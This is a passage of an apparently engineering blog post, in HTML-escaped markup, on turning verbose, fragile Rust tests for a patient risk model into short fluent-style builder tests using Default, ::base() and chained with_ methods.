to&#xA;change.&lt;/p&gt;&#xA;&lt;p&gt;In this post, you’ll see how we got from fragile and hard-to-understand&#xA;tests to short, expressive, and functionally equivalent tests&#xA;with fluent-style testing APIs.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-literal-approach&#34;&gt;The Literal Approach&lt;/h2&gt;&#xA;&lt;p&gt;Originally, these tests were written using literals.&#xA;For instance, consider a &lt;code&gt;Person&lt;/code&gt; that looks something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Person&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;id: String,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;age: Option&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u8&lt;/span&gt;&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;mother_id: Option&amp;lt;String&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;father_id: Option&amp;lt;String&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;children: Option&amp;lt;Vec&amp;lt;String&amp;gt;&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;medical_history: Option&amp;lt;MedicalHistory&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;reproductive_history: Option&amp;lt;ReproductiveHistory&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// ... and many more fields&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Of course, the &lt;code&gt;MedicalHistory&lt;/code&gt; and &lt;code&gt;ReproductiveHistory&lt;/code&gt; structs are&#xA;themselves nontrivial, and because we are dealing with data from&#xA;inconsistent sources (patient reporting), almost every field is&#xA;&lt;code&gt;Option&lt;/code&gt;al. Our tests ended up looking something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#[test]&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; patient_with_field_that_matters_value_is_flagged()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;patient&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Patient&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;id: &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;.into(),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;age: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;mother_id: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;father_id: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;children: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;medical_history: Some(MedicalHistory{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;diagnoses: vec![Diagnosis&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;type&lt;/span&gt;: DiagnosisType::SomeIllnessOrOther,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;field_a: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;field_b: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;field_that_matters: Some(&lt;span style=&#34;color:#00f&#34;&gt;31337&lt;/span&gt;),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;field_d: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;}]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;reproductive_history: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Followed by many more Nones&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;assert!(function_under_test(patient),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;           &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Function did not return True for patient who should be at risk!&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Is it clear what we’re doing here? Not really. It turns out, we only&#xA;care about one field here: &lt;code&gt;field_that_matters&lt;/code&gt;, on the &lt;code&gt;Patient&lt;/code&gt;’s&#xA;&lt;code&gt;MedicalHistory&lt;/code&gt;. In addition, this test is 21 lines long - far too long&#xA;for a test which is only evaluating a single function call.&lt;/p&gt;&#xA;&lt;p&gt;More importantly, though, this test is totally inflexible. Whenever we&#xA;had to add a field to the &lt;code&gt;Diagnosis&lt;/code&gt; struct, our tests stopped&#xA;compiling, even though the field was &lt;code&gt;Option&lt;/code&gt;al and not important here.&#xA;With hundreds of such fragile tests in the codebase, making even basic&#xA;changes became very slow.&lt;/p&gt;&#xA;&lt;h2 id=&#34;first-steps&#34;&gt;First Steps&lt;/h2&gt;&#xA;&lt;p&gt;The most obvious way to solve both fragility and verbosity was to&#xA;encapsulate this initialization into a function, which we did. These&#xA;functions took some basic info and then tests with more complex&#xA;requirements would add the properties they needed. For instance:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; patient_with_field_that_matters_is_flagged()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;patient&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;make_basic_patient(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;None,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;None,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;None,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;None);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;diagnosis&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;make_diagnosis(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Diagnosis_Type::SomeIllnessOrOther,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Some(&lt;span style=&#34;color:#00f&#34;&gt;31337&lt;/span&gt;),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;None);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;patient.medical_history&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MedicalHistory{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;diagnoses: Some(MedicalHistory{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;diagnoses: vec![diagnosis]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;})&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;assert!(function_under_test(patient),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;           &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Function did not return True for patient who should be at risk!&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This approach does make the test more concise, but it actually reduces&#xA;readability due to the large number of unnamed function arguments.&#xA;Without looking up the signature of &lt;code&gt;make_diagnosis&lt;/code&gt;, a reader has no&#xA;way to know that the value given is going into &lt;code&gt;field_that_matters&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This can also be done with Rust’s struct update syntax, either by&#xA;implementing &lt;code&gt;Default&lt;/code&gt; or with an explicit &lt;code&gt;::base()&lt;/code&gt; associated&#xA;function:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; patient_with_field_that_matters_is_flagged()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;patient&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Patient&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;id: &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;.into(),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;medical_history: Some(MedicalHistory{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;diagnoses: Some(vec![&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Diagnosis&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;field_that_matters: Some(&lt;span style=&#34;color:#00f&#34;&gt;31337&lt;/span&gt;),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;..&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Diagnosis::base(DiagnosisType::SomeIllnessOrOther)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;}])&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;..&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Default::default()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;assert!(function_under_test(patient),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;           &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Function did not return True for patient who should be at risk!&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, only the &lt;code&gt;::base()&lt;/code&gt; method or the implementation of &lt;code&gt;Default&lt;/code&gt; has&#xA;to be modified when a struct field is added or modified. This is a good&#xA;first step, but it doesn’t fully solve the problem of clarity.&lt;/p&gt;&#xA;&lt;h2 id=&#34;taking-inspiration&#34;&gt;Taking Inspiration&lt;/h2&gt;&#xA;&lt;p&gt;I don’t have a lot of occasion to work with dynamic languages, but I was pairing with&#xA;another engineer on some Ruby code and noticed how nice the testing API was with RSpec.&#xA;This lead me down a rabbit hole which eventually brought me to &lt;a href=&#34;https://en.wikipedia.org/wiki/Fluent_interface&#34;&gt;fluent&#xA;programming&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In short, the idea of a fluent API is that it can be read almost&#xA;like a sentence in a natural language. We built an API with a similar&#xA;idea, which is what is currently used in the risk model tests. They look&#xA;something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; patient_with_field_that_matters_is_flagged()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;patient&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Patient::base(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;).with_medical_history(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;MedicalHistory::base().and_diagnosis(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;Diagnosis::base(DiagnosisType::SomeIllnessOrOther)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;.with_field_that_matters(&lt;span style=&#34;color:#00f&#34;&gt;31337&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;assert(function_under_test(patient),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;           